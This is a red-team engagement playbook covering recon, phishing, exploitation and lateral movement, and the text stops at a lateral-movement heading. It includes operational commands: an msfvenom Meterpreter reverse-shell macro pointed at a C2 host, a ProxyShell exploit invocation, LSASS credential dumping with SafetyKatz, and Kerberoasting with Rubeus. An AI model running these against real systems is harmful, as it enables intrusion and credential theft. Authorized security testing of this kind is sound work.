Conducting Full-Scope Red Team Engagement

Overview

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).

When to Use

• When conducting security assessments that involve conducting full scope red team engagement
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Written authorization (Rules of Engagement document) signed by executive leadership
• Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
• Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
• Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
• Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws

Engagement Phases

Phase 1: Planning and Threat Modeling

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:

Phase 2: Reconnaissance (OSINT)

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

Phase 3: Initial Access

Common initial access vectors for red team engagements:

Spearphishing (T1566.001):

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

External Service Exploitation (T1190):

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

Phase 4: Post-Exploitation and Lateral Movement

# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)

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